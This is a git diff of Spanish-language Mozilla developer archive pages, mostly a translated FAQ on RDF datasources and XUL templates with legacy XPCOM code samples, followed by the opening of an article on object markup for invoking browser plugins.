+<span class="highlightblue">// ...y desde allí, Obten el datasource. Aségurat de que el servidor web lo entregue como
+// <strong>text/xml</strong> (recomendado) o como <strong>text/rdf</strong>!</span>
+var ds = RDF.GetDataSource("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// NOTA que  <strong>ds</strong> será cargado desincronizadamente, asi que los aciertos no serán
+// inmediatos</span>
+</pre>
+
+<p>O puedes crear uno utilizando el administrador de componentes XPCOM directamente, Aquí hay un ejemplo.</p>
+
+<pre class="eval"><span class="highlightblue">// Crear un archivo RDF/XML usando el administrador de componentes XPCOM</span>
+var ds =
+  Components
+  .classes["@mozilla.org/rdf/datasource;1?name=xml-datasource"]
+  .createInstance(Components.interfaces.nsIRDFDataSource);
+<span class="highlightblue">// La interface <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFRemoteDataSource.idl">nsIRDFRemoteDataSource</a> tiene las interfaces
+// que necesitamos para configurar el datasource.</span>
+var remote =
+   ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+<span class="highlightblue">// Asegúrate de que el servidor entregue esto como <strong>text/xml</strong> (recomendado) o como <strong>text/rdf</strong>!</span>
+remote.Init("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// Cárgalo! fijate que esto ocurrira desicronizadamente. Configura
+// <strong>aBlocking</strong> a true, podemos forzarlo pra que sea sincronizado pero
+// generalmente es una mala idea, porque se bloqueará tu interface de usuario!</span>
+remote.Refresh(false);
+<span class="highlightblue">// NOTA que<strong>ds</strong> será cargado desincronizadamente, los aciertos no
+// serán inmediatos</span>
+</pre>
+
+<p>Si deseas que se cargue de forma sincronizada, deberías crearlo manualmente.</p>
+
+<h3 id="C.C3.B3mo_actualizo_un_datasource_RDF.2FXML.3F" name="C.C3.B3mo_actualizo_un_datasource_RDF.2FXML.3F">Cómo actualizo un datasource RDF/XML?</h3>
+
+<p>Puedes forzar un datasource RDF/XML (o cualquier datasource que soporte <a class="external" href="http://lxr.mozilla.org/mozilla/source/source/rdf/base/idl/nsIRDFRemoteDataSource.idl"><code>nsIRDFRemoteDataSource</code></a>) utilizando el método <code>Refresh()</code>de <code>nsIRDFRemoteDataSource. Refresh()</code> tiene un solo parámetro que indica si te gustaría realizar la operacíon sincronizadamente ("blocking") o desincronizadamente ("non-blocking"). Nunca lo hagas sincronizadamente, a menos que sepas lo que estás haciendo, esta opción bloqueará la interfaz de usuario hasta que la carga sea completada.</p>
+
+<h3 id="C.C3.B3mo_s.C3.A9_si_un_datasource_RDF.2FXML_se_carg.C3.B3.3F" name="C.C3.B3mo_s.C3.A9_si_un_datasource_RDF.2FXML_se_carg.C3.B3.3F">Cómo sé si un datasource RDF/XML se cargó?</h3>
+
+<p>Es posible consultar la propiedad <code>loaded</code> utilizando la interfaz <a class="external" href="http://lxr.mozilla.org/mozilla/source/source/rdf/base/idl/nsIRDFRemoteDataSource.idl"><code>nsIRDFRemoteDataSource</code></a> para determinar si el datasource está cargado o no.</p>
+
+<p> </p>
+
+<pre class="eval"><span class="highlightblue">// Obtén el servicio RDF</span>
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+<span class="highlightblue">// Obtén el datasource.</span>
+var ds = RDF.GetDataSource("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// Ahora mira si se cargó o no...</span>
+var remote =
+  ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+
+if (remote.loaded) {
+  alert("El datasource ya está cargado!");
+}
+else {
+  alert("El datasource no se cargó, pero se está cargando ahora!");
+}
+</pre>
+
+<p>Digamos que el datasource <em>no está</em> cargado, y se está cargando desincronizadamente. Podríamos usar esta API y el <code>setTimeout()</code> de JavaScript para realizar un loop que chequee la propiedad <code>loaded</code> de forma continua. Sería malo no detectar una carga <em>fallida</em>, por ejemplo, que no hubiera ningun dato en le URL.</p>
+
+<p>Por esta razón, hay una <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFXMLSink.idl">interfaz observadora</a> que te permite espiar el progreso del datasource. El siguiente código ilustra como usarlo.</p>
+
+<p> </p>
+
+<pre class="eval"><span class="highlightblue">// Este es el objeto que observará el progreso de RDF/XML</span>
+var Observer = {
+  onBeginLoad: function(aSink)
+    {},
+
+  onInterrupt: function(aSink)
+    {},
+
+  onResume: function(aSink)
+    {},
+
+  onEndLoad: function(aSink)
+    { alert("done!"); },
+
+  onError: function(aSink, aStatus, aErrorMsg)
+    { alert("error! " + aErrorMsg); }
+};
+<span class="highlightblue">// obtén el servicio RDF</span>
+var RDF =
+  Components
+  .classes["@mozilla.org/rdf/rdf-service;1"]
+  .getService(Components.interfaces.nsIRDFService);
+<span class="highlightblue">// Obtén el datasource.</span>
+var ds = RDF.GetDataSource("<a class="external" href="http://www.mozilla.org/some-rdf-file.rdf" rel="freelink">http://www.mozilla.org/some-rdf-file.rdf</a>");
+<span class="highlightblue">// ahora mira si se cargó o no...</span>
+var remote =
+  ds.QueryInterface(Components.interfaces.nsIRDFRemoteDataSource);
+
+if (remote.loaded) {
+  alert("El datasource ya está cargado!");
+}
+else {
+  alert("El datasource no se cargó, pero se está cargando  ahora!");
+  <span class="highlightblue">// los datasources RDF/XML son <strong>nsIRDFXMLSink</strong>s</span>
+  var sink =
+    ds.QueryInterface(Components.interfaces.nsIRDFXMLSink);
+  <span class="highlightblue">// Adjunta el observador al  datasource</span>
+  sink.addXMLSinkObserver(Observer);
+  <span class="highlightblue">// ahora serán llamados del métodos del  <strong>Observador</strong> como
+  // los progresos de carga.</span>
+}
+</pre>
+
+<p><br>
+ Nota que el observador permanecerá unido al datasource RDF/XML a menos que llamemos a <code>XMLSinkObserver</code></p>
+
+<h3 id="C.C3.B3mo_accedo_a_la_informaci.C3.B3n_de_un_datasource.3F" name="C.C3.B3mo_accedo_a_la_informaci.C3.B3n_de_un_datasource.3F">Cómo accedo a la información de un datasource?</h3>
+
+<p>La interfaz <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFDataSource.idl"><code>nsIRDFDataSource</code></a> es lo que te permitirá acceder y manipular las declaraciones en un datasource.</p>
+
+<ul>
+ <li><code>boolean HasAssertion(aSource, aProperty, aTarget, aTruthValue)</code>.<br>
+  This tests the datasource to see if it has the specified tuple.</li>
+ <li><code>nsIRDFNode GetTarget(aSource, aProperty, aTruthValue)</code>.</li>
+ <li><code>nsISimpleEnumerator GetTargets(aSource, aProperty, aTruthValue)</code>.</li>
+ <li><code>nsIRDFResource GetSource(aProperty, aTarget, aTruthValue)</code>.</li>
+ <li><code>nsISimpleEnumerator GetSoruces(aProperty, aTarget, aTruthValue)</code>.</li>
+ <li><code>nsISimpleEnumerator ArcLabelsIn(aTarget)</code>.</li>
+ <li><code>nsISimpleEnumerator ArcLabelsOut(aSource)</code>.</li>
+</ul>
+
+<p>También puedes usar la interfaz <a href="#How_do_I_manipulate_RDF_.22containers.22.3F">RDF container</a> para acceder a la información contenida en <em>contenedores</em> RDF.</p>
+
+<h3 id="C.C3.B3mo_cambio_informaci.C3.B3n_en_un_datasource.3F" name="C.C3.B3mo_cambio_informaci.C3.B3n_en_un_datasource.3F">Cómo cambio información en un datasource?</h3>
+
+<p>Usa "Assert" para agregar una declaración y "Unassert" para quitar una. Mira <a class="external" href="http://www.mozilla.org/rdf/back-end-architecture.html">Mozilla RDF Back end Architecture</a></p>
+
+<pre class="eval">ds.Assert(homepage, FV_quality, value, true);
+ds.Unassert(homepage, FV_quality, value, true);
+</pre>
+
+<h3 id="C.C3.B3mo_guardo_los_cambios_en_un_datasource.3F" name="C.C3.B3mo_guardo_los_cambios_en_un_datasource.3F">Cómo guardo los cambios en un datasource?</h3>
+
+<p>Se puede hacer <code>QueryInterface</code> a <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFRemoteDataSource.idl"><code>nsIRDFRemoteDataSource</code></a> con un datasource. Esta interfaz tiene un método <code>Flush()</code> que re-escribe los contenidos de un datasource nuevamente hacia la URL desde donde fueron cargados. Usando un mecanismo de protocolo específico (ej. un <code>file</code>: URL simplemente escribe el archivo, un <code> http:</code> URL probablemente hará un HTTP-POST). <code>Flush()</code> sólo escribe el datasource si el contenido ha cambiado.</p>
+
+<h3 id="C.C3.B3mo_.C3.BAno_varios_datasource_para_verlos_c.C3.B3mo_uno_solo.3F" name="C.C3.B3mo_.C3.BAno_varios_datasource_para_verlos_c.C3.B3mo_uno_solo.3F">Cómo úno varios datasource para verlos cómo uno solo?</h3>
+
+<p>Utiliza nsIRDFCompositeDataSource. Esta interfaz proviene de nsIRDFDataSource. Implementar esta interfaz combinará las declaraciones de distintos datasources dentro de uno colectivo. Como la interfaz nsIRDFCompositeDataSource proviene de nsIRDFDataSource, puede ser llamada y modificada igual que un data source.</p>
+
+<h3 id="C.C3.B3mo_accedo_a_datasources_.22built-in.22.3F" name="C.C3.B3mo_accedo_a_datasources_.22built-in.22.3F">Cómo accedo a datasources "built-in"?</h3>
+
+<p>Un <em>datasource buitl-in</em> es un componente localmente-instalado que implementa <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFDataSource.idl">nsIRDFDataSource</a>. Por ejemplo, el <a class="external" href="http://lxr.mozilla.org/mozilla/source/xpfe/components/bookmarks/src/nsBookmarksService.cpp">servicio de marcadores</a>. Primero, asegúrate de que eres <em>capaz</em> de acceder a un datasource haciendo click <a href="#What_is_the_security_model_for_RDF.2FXML_in_XUL.3F">aquí</a>. Hay grandes restricciones de seguridad para acceder a un datasource desde un XUL o JS "desconocido".</p>
+
+<p>Como el datasource built-in es nada mas que un componente XPCOM, puedes acceder utilizando el componente administrador XPConnect.</p>
+
+<pre class="eval">// Usa el administrador de componentes para obtener los // marcadores
+<span class="highlightgreen">var bookmarks =
+  Components.
+  classes["@mozilla.org/rdf/datasource;1?name=bookmarks"].
+  getService(Components.interfaces.nsIRDFDataSource);</span>
+
+// Ahora haz algo con eso...
+if (bookmarks.HasAssertion(
+     RDF.GetResource("<a class="external" href="http://home.netscape.com/NC-rdf#BookmarksRoot" rel="freelink">http://home.netscape.com/NC-rdf#BookmarksRoot</a>"),
+     RDF.GetResource("<a class="external" href="http://home.netscape.com/NC-rdf#child" rel="freelink">http://home.netscape.com/NC-rdf#child</a>"),
+     RDF.GetResource("<a class="external" href="http://home.netscape.com/NC-rdf#PersonalToolbarFolder" rel="freelink">http://home.netscape.com/NC-rdf#PersonalToolbarFolder</a>"),
+     true) {
+  // ...
+}
+</pre>
+
+<p>Algunos datasources tienen ContractID "especiales" que hacen más fácil el acceso utilizando el método <code>GetDataSource()</code> de <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl"><code>nsIRDFSerivce</code></a> o el atributo <code>datasource</code> de una plantilla XUL. Estos ContractID son de:</p>
+
+<pre class="eval">@mozilla.org/rdf/datasource;1?name=<em>name</em>
+</pre>
+
+<p>Y son accesibles via <code>GetDataSource</code> y el atributo <code>datasources</code> usando <code>rdf:<em>name</em></code>. Por ejemplo, el siguiente fragmento XUL muestra como colocar el servicio de marcadores dentro de una plantilla XUL.</p>
+
+<pre class="eval">&lt;tree datasources="rdf:bookmarks"&gt;
+  ...
+&lt;/tree&gt;
+</pre>
+
+<h3 id="C.C3.B3mo_manipulo_.22contenedores.22_RDF.3F" name="C.C3.B3mo_manipulo_.22contenedores.22_RDF.3F">Cómo manipulo "contenedores" RDF?</h3>
+
+<p>Para manipular un "contenedor" RDF (un <code>&lt;rdf:SEq&gt;</code>, por ejemplo) puedes utilizar <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFContainerUtils.idl"><code>nsIRDFContainerUtils</code></a> la cual puede ser llamada como un servicio a tráves del siguiente ContratID:</p>
+
+<pre class="eval">@mozilla.org/rdf/container-utils;1
+</pre>
+
+<p>Puedes usarlo para detectar si algo es un contenedor RDF utilizando <code>IsSeq(), IsBag(), IsAlt()</code>. Puedes "crear un recurso dentro de un contenedor", sino hubiera uno, utilizando <code>MakeSeq(), MakeBag(), MakeAlt()</code>. Estos métodos devuelven <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFContainer.idl"><code>nsIRDFContainer</code></a> que te permitirá hacer operaciones tipo-contenedor sin ensuciarte las manos.</p>
+
+<p>Si tu datasource ya posee un objeto que <em>es</em> un contenedor RDF, puedes usar el objeto <code>nsIRDFContainer</code> con:</p>
+
+<pre class="eval">@mozilla.org/rdf/container;1
+</pre>
+
+<p>Utiliza COntractID y <code>Init()</code> con el datasource y el recurso como parámetros. Nota que esto fallará si el recurso todavia no es un contenedor.</p>
+
+<h2 id="Plantillas_XUL" name="Plantillas_XUL">Plantillas XUL</h2>
+
+<p>Las plantillas XUL se crean especificando un atributo <code>datsource</code> sobre un elemento en un documento XUL.</p>
+
+<p>Hay dos "formas" de escribir plantillas XUL. La "simple", que es la mas comun en Mozilla, y la "extendida", que pertime mayor concordancia contra gráficos RDF. Mira también <a href="es/XUL/Template_Guide">XUL:Template Guide</a> (está ordenado de forma bizarra porque se intenta introducir primero la forma extendida, y luego la forma simple como una especie de simplificación de la forma extendida).</p>
+
+<h3 id=".C2.BFQu.C3.A9_puedo_construir_con_una_plantilla_XUL.3F" name=".C2.BFQu.C3.A9_puedo_construir_con_una_plantilla_XUL.3F">¿Qué puedo construir con una plantilla XUL?</h3>
+
+<p>Puedes construir <em>cualquier</em> clase de contenido usando una plantilla XUL. Puedes utilizar cualquier clase de etiqueta (incluso HTML o XML arbitrario) en la parte <code>&lt;action&gt;</code> de un <code>&lt;rule&gt;</code>.</p>
+
+<h3 id="Cu.C3.A1ndo_debo_utilizar_una_plantilla_XUL.3F" name="Cu.C3.A1ndo_debo_utilizar_una_plantilla_XUL.3F">Cuándo debo utilizar una plantilla XUL?</h3>
+
+<p>Una alternativa al uso de plantillas RDF y XUL es el uso de <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/">W3C DOM APIs</a>, para crear y manipular modelos de contenido XUL (o HTML). Sin embargo, algunas veces suelen presentarse algunos incovenientes:</p>
+
+<ol>
+ <li><em>hay</em> distintas &lt;/em&gt;"vistas" de los datos&lt;/em&gt;. Por ejemplo, Mozilla mail/news muestra la jerarquía de carpeta en la barra de herramientas, varios menues, y en algunas ventana de diálogo. Mejor que escribir tres pedazos de código JS (o C++) para construir los árboles DOM, uno para cada modelo de contenido, <code>&lt;menubutton&gt;</code>, <code>&lt;menu&gt;</code> y <code>&lt;tree&gt;</code>, seria que escribas tres sets compactos de reglas.</li>
+ <li><em>Los datos pueden cambiar</em>. Por ejemplo un usuario de mail/news tal vez agregue o quite carpetas IMAP (nota como estos requerimientos complican la construcción de modelos de contenido) La plantila de construcción XUL utiliza reglas para mantener sincronizados, de forma automática, <em>todos</em> los modelos de contenidos acorde a tus cambios.</li>
+</ol>
+
+<p>Para poder tener la ventaja de estas funciones, debes ser capaz de expresar tu información en términos de <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFDataSource.idl">RDF datasource API</a> ya sea usando el <em>built-in memory datasource</em>, usando RDF/XUL para almacenar tu información, o escribiendo tu propia implementación de <code>nsIRDFDataSource</code></p>
+
+<h3 id="Qu.C3.A9_es_lo_que_se_carga_cuando_especifico_.22datasource.3D.22_.3F" name="Qu.C3.A9_es_lo_que_se_carga_cuando_especifico_.22datasource.3D.22_.3F">Qué es lo que se carga cuando especifico "datasource=" ?</h3>
+
+<p>En el "root" de una plantilla, el atributo <code>datasources</code> especifica que se debe cargar una lista de URIs datasource que están separadas por un espacio en blanco. Pero, qué es una "URI datasource"? Puede ser:</p>
+
+<ul>
+ <li>Un ContractID abreviado para un componente instalado localmente. Especificando <code>rdf:nombre</code> le indicas al generador de la plantilla que cargue el componente XPCOM con el ContractID: <code>@mozilla.org/rdf/datasource;1?name=<em>nombre</em></code></li>
+ <li>La URL de un archivo RDF/XML. Por ejemplo,
+  <pre>file:///tmp/foo.rdf
+chrome://mycomponent/content/component-data.rdf
+http://www.mysite.com/generate-rdf.cgi
+ftp://ftp.somewhere.org/toc.rdf
+</pre>
+
+  <p>La carga será procesada desincronizadamente, y a medida que vaya llegando RDF/XML, el generador de la plantilla irá generando contenido.</p>
+ </li>
+</ul>
+
+<p>En ambos casos, los datasources se cargan usando el método <code>GetDataSource()</code> de <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFService.idl"><code>nsIRDFService</code></a> asi que será manejado de igual manera para todos los datasources que asi se carguen.</p>
+
+<h3 id="Cu.C3.A1l_es_el_modelo_de_seguridad_para_RDF.2FXML_en_XUL.3F" name="Cu.C3.A1l_es_el_modelo_de_seguridad_para_RDF.2FXML_en_XUL.3F">Cuál es el modelo de seguridad para RDF/XML en XUL?</h3>
+
+<p>El documento XUL que es cargado de una URL "confiable" (cualquier <code>chrome:</code> URL) puede especificar <em>cualquier</em> URI datasource en el atributo <code>datasources</code> de la plantilla XUL.</p>
+
+<p>El documento que es cargado desde una URL "no confiable", puede especificar solo un documento RDF/XML desde el mismo <em>codebase</em> (en el significado de Java) donde se origino el documento XUL. Los datasources que no son "especiales" (ej. <code>rdf:</code>) se cargarán desde un XUL "no confiable".</p>
+
+<h3 id="C.C3.B3mo_agrego_un_datasource_a_una_plantila_XUL.3F" name="C.C3.B3mo_agrego_un_datasource_a_una_plantila_XUL.3F">Cómo agrego un datasource a una plantila XUL?</h3>
+
+<p>Si bien es posible crear una plantilla XUL con un conjunto de datasources "implicitos" especificando el atributo <code>datasource</code>, abrá veces que no sabrás que datasource cargar hasta que la XUL esté cargada. Por ejemplo, tu XUL tal vez necesite computar el datasource que se desea mostrar en un manejador <code>onload</code>. O, tal vez necesites agregar datasources basado en la acción de un usuario.</p>
+
+<pre class="eval">&lt;window xmlns="<a class="external" href="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" rel="freelink">http://www.mozilla.org/keymaster/gat...re.is.only.xul</a>"&gt;
+  ...
+  <span class="highlightgreen">&lt;tree id="my-tree" datasources="rdf:null"&gt;
+    ...
+  &lt;/tree&gt;</span>
+  ...
+&lt;/window&gt;
+</pre>
+
+<p>Asumiendo que hemos adquirido el datasource de alguna manera (ej. <a href="#How_do_I_create_a_datasource_from_an_RDF.2FXML_file.3F">así</a>), el sig. ejemplo muestra cómo agregar un datasource a una plantila, y luego, forzar a la plantilla a reconstruirse basada en los nuevos contenidos agregados.</p>
+
+<pre class="eval">var ds = <span class="highlightblue">/* asumimos que tienes esto! */</span>;
+<span class="highlightblue">// Obten el elemento DOM para 'my-tree'</span>
+var tree = document.getElementById('my-tree');
+<span class="highlightblue">// agregamos nuestro datasource</span>
+tree.database.AddDataSource(ds);
+<span class="highlightblue">// Forza al arbol a reconstruirse *ahora*. debes hacerlo "manual"!</span>
+tree.builder.rebuild();
+</pre>
+
+<p>Cualquier elemento XUL con un atributo <code>datasources</code> "tendrá" una propiedad <code>database</code> y una <code>builder</code>. La primera refiere a un objeto <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIRDFCompositeDataSource.idl"><code>nsIRDFCompositeDataSource</code></a> que contiene los datasources desde donde son contruidas las plantillas.</p>
+
+<p>La segunda propiedad refiere a un objeto <a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/base/idl/nsIXULTemplateBuilder.idl"><code>nsIXULTemplateBuilder</code></a> que es el "generador" que mantiene el estado de los contenidos de la plantilla.</p>
+
+<p>Nota que el datasource <code>rdf:null</code> es un datasource especial que nos dice "hey, no tenemos un datasource todavía, pero vamos a agregar uno mas tarde, chequéalo!". Esto hace que <code>database</code> y <code>builder</code> se instalen, pero deja a <code>database</code> vacía de datasources, debes agregarlos tú mismo!</p>
+
+<h3 id="Puedo_manipular_plantillas_XUL_usando_las_APIs_DOM.3F" name="Puedo_manipular_plantillas_XUL_usando_las_APIs_DOM.3F">Puedo manipular plantillas XUL usando las APIs DOM?</h3>
+
+<p>Sí! puedes agragar, quitar reglas, cambiar las condiciones de una regla y cambiar el contenido que es generado por una regla. De hecho, puedes cambiar <em>cualquier cosa</em> de una plantilla usando <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/">W3C DOM APIs</a>.</p>
+
+<p>Eso si, debes llamar a <code>rebuild()</code> para que los cambios hagan efecto (del mismo modo que lo haces si <a href="#C.C3.B3mo_agrego_un_datasource_a_una_plantila_XUL.3F">agregas un datasource</a> a una plantilla XUL).</p>
+
+<h3 id="C.C3.B3mo_agrego_texto_plano_desde_una_plantilla.3F" name="C.C3.B3mo_agrego_texto_plano_desde_una_plantilla.3F">Cómo agrego texto plano desde una plantilla?</h3>
+
+<p>Para agregar texto plano desde una plantilla usa el elemento <code>&lt;text&gt;</code>.</p>
+
+<pre class="eval">&lt;template&gt;
+  &lt;rule&gt;
+    &lt;conditions&gt;...&lt;/condition&gt;
+    &lt;bindings&gt;...&lt;/bindings&gt;
+    &lt;action&gt;
+      <span class="highlightgreen">&lt;text value="?alguna-variable" /&gt;</span>
+    &lt;/action&gt;
+  &lt;/rule&gt;
+&lt;/template&gt;
+</pre>
+
+<p>La plantilla arriba creará un modelo de contenido que ejecutará series de nodos de texto.</p>
+
+<h2 id="Soluci.C3.B3n_de_problemas" name="Soluci.C3.B3n_de_problemas">Solución de problemas</h2>
+
+<p>Trucos y secretos sobre el tema.</p>
+
+<h3 id="Mi_archivo_RDF.2FXML_no_carga." name="Mi_archivo_RDF.2FXML_no_carga.">Mi archivo RDF/XML no carga.</h3>
+
+<p>La causa mas usual de este problema es un tipo de MIME incorrecto. Asegúrate que tu servidor esté enviando el archivo como <code>text/xml</code> (recomendado) o como <code>text/rdf</code>.</p>
+
+<p>Nota que W3C RDF Core WG está registrando application/rdf+xml, aunque esto no funciona con ningún código Mozilla. (tenemos algún bug registrado para rastrear esto? -- <a class="link-mailto" href="mailto:danbri-mozilla@rdfweb.org">danbri</a>)</p>
+
+<p>Otro problema posible: para XUL y RDF cargado de forma remota tal vez necesites ajustar las restricciones de seguridad de Mozilla (mira más abajo para ejemplos). Si XUL no está cargando tu RDF, y el tipo MIME está OK, tal vez este sea el problema.</p>
+
+<p>Puedes usar los utilitarios <code>rdfcat</code> y <code>rdfpoll</code> para verificar que RDF/XML son válidos. Estos programas son generados en Windows por defecto, y en Linux cuando especificas <code>configure --enable-tests</code>.</p>
+
+<ul>
+ <li><code><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/tests/rdfcat/rdfcat.cpp">rdfcat</a><em>url</em></code><br>
+  Toma como parametro una URL desde donde leerá un archivo RDF/XML, y lo enviará a la consola. Puedes usarlo para verificar que Mozilla ejecuta adecuadamente el RDF/XML hayas escrito.</li>
+ <li><code><a class="external" href="http://lxr.mozilla.org/mozilla/source/rdf/tests/rdfpoll/rdfpoll.cpp">rdfpoll</a><em>url</em> [<em>interval</em>]</code><br>
+  Toma como parámetro una URL desde donde leerá un archivo RDF/XML. Támbien ecepta un <em>intervalo</em> donde actualizará la URL. NOta que las actualizaciones generan una series de <em>diferencias</em> entre los contenidos previos y posteriores del archivo RDF/XML. Esto es útil para quitar errores en archivos generados que cambien con el tiempo.</li>
+</ul>
+
+<p>Ambos programas son lentos para cargar y ejecutarse (pero se ejecutarán). Inician XPCOM y hacen que Necko pueda cargar y procesar URLs igual que lo hace Mozilla.</p>
+
+<h3 id="No_sucede_nada_cuando_llamo_AddDataSource." name="No_sucede_nada_cuando_llamo_AddDataSource.">No sucede nada cuando llamo AddDataSource.</h3>
+
+<p>Nota que el generador de la plantilla <em>no</em> regenera automaticamente el contenido de una plantilla después de <code>AddDataSource</code> o <code>RemoveDataSource</code>, debe ser llamado desde <code>database</code> del generador. Debes llamar <code><em>elt.</em>builder.rebuild()</code> manualmente para actualizar los contenidos de la plantilla</p>
+
+<p>Por qué? Esto se diseño para que no se produzcan múltiple re-generaciones cuando más de un datasource es agregado a la <code>database</code>.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Donde_puedo_encontrar_algunos_ejemplos.3F" name="Donde_puedo_encontrar_algunos_ejemplos.3F">Donde puedo encontrar algunos ejemplos?</h3>
+
+<p><a class="external" href="http://www.mozilla.org/rdf/doc/examples.html">Aquí</a> hay algunos, son ejecutables directamente desde HTTP.</p>
+
+<p>Mira también <a class="link-https" href="https://bugzilla.mozilla.org/data/duplicates.rdf"><code>duplicates.rdf</code></a> (directo desde Mozilla) también <a class="link-https" href="https://bugzilla.mozilla.org/duplicates.xul"><code>duplicates.xul</code></a>. Nota que debes alivianar el <a href="es/Bypassing_Security_Restrictions_and_Signing_Code">modelo de seguridad</a> de Mozilla para que funcionen. Para hacerlo, agrega la siguiente línea al archivo de preferencias. (primero debes reiniciar Mozilla para que escriba el archivo)</p>
+
+<pre class="eval">user_pref("signed.applets.codebase_principal_support", true);
+</pre>
+
+<p>Te preguntará si permites a los scripts en <code>duplicates.xul</code> accerder XPConnect, responde que SÍ.</p>
+
+<p>Actualmente Mozilla no permite acceso a las interfaces y servicios RDF sin previlegios, mira el bug <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=122846">122846</a> para detalles.</p>
+
+<p>Por favor comunicate via mail con <a class="external" href="http://rdfweb.org/people/danbri/">danbri</a> si crees que deberíamos colocar algún otro link</p>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<ol>
+ <li>Mira también <a class="external" href="http://www.w3.org/RDF/">W3C RDF</a> y <a class="external" href="http://www.w3.org/2001/sw/">Semantic Web</a> para más información acerca de RDF y tecnologías relacionadas.</li>
+</ol>
+
+<h2 id="Contribuyentes" name="Contribuyentes">Contribuyentes</h2>
+
+<ul>
+ <li>Sección de ejemplos agregada por <a class="external" href="http://rdfweb.org/people/danbri/">danbri</a> el 2002-07-02 &lt;/li&gt;</li>
+</ul>
+
+<ul>
+ <li>Gracias a Myk Melez por las notas sobre política de seguridad en XUL remoto.</li>
+</ul>
+
+<p>Autor: <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></p>
+
+<div class="originaldocinfo">
+<h2 id="Informaci.C3.B3n_sobre_documento_original" name="Informaci.C3.B3n_sobre_documento_original">Información sobre documento original</h2>
+
+<div>
+<ul>
+ <li>Autor(es): <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></li>
+ <li>Ultima actualización: December 22, 2004</li>
+ <li>Derechos de autor: Copyright (C) <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a></li>
+</ul>
+</div>
+
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+</div>
diff --git a/files/es/archive/estándares_web/usando_el_marcado_correcto_para_llamar_a_los_plugins/index.html b/files/es/archive/estándares_web/usando_el_marcado_correcto_para_llamar_a_los_plugins/index.html
new file mode 100644
index 0000000000..11aa4d9829
--- /dev/null
+++ b/files/es/archive/estándares_web/usando_el_marcado_correcto_para_llamar_a_los_plugins/index.html
@@ -0,0 +1,268 @@
+---
+title: Usando el marcado correcto para llamar a los plugins
+slug: Archive/Estándares_Web/Usando_el_marcado_correcto_para_llamar_a_los_plugins
+tags:
+  - HTML
+  - Plugins
+  - Todas_las_Categorías
+translation_of: Archive/Web_Standards/Using_the_Right_Markup_to_Invoke_Plugins
+---
+<p>Este artículo habla de cómo llamar correctamente a un plugin usando HTML. Habla de los elementos object y embed y muestra detalles sobre cómo llamar a aplicaciones Java con HTML en aplicaciones web.</p>
+
+<h3 id="El_elemento_.3Cobject.3E:_Est.C3.A1ndares_W3C_y_los_navegadores" name="El_elemento_.3Cobject.3E:_Est.C3.A1ndares_W3C_y_los_navegadores">El elemento &lt;object&gt;: Estándares W3C y los navegadores</h3>
+
+<p>El elemento object es parte de la especificación HTML 4.01, y es el mecanismo recomendado para llamar a los plugins. Su uso esta condicionado a unas pocas advertencias de las que esta sección habla.</p>
+
+<p>Tradicionalmente, el elemento object ha sido usando de forma diferente por Microsoft Internet Explorer y los navegadores basados en Mozilla como Netscape 7. En IE, el elemento object es usado para llamar a un plugin creado con la arquitectura ActiveX. Aquí vemos un ejemplo de este tipo de uso por parte de IE:</p>
+
+<pre>&lt;!-- IE ONLY CODE --&gt;
+&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width="366" height="142" id="myFlash"&gt;
+    &lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    &lt;param name="quality" value="high" /&gt;
+    &lt;param name="swliveconnect" value="true" /&gt;
+&lt;/object&gt;
+</pre>
+
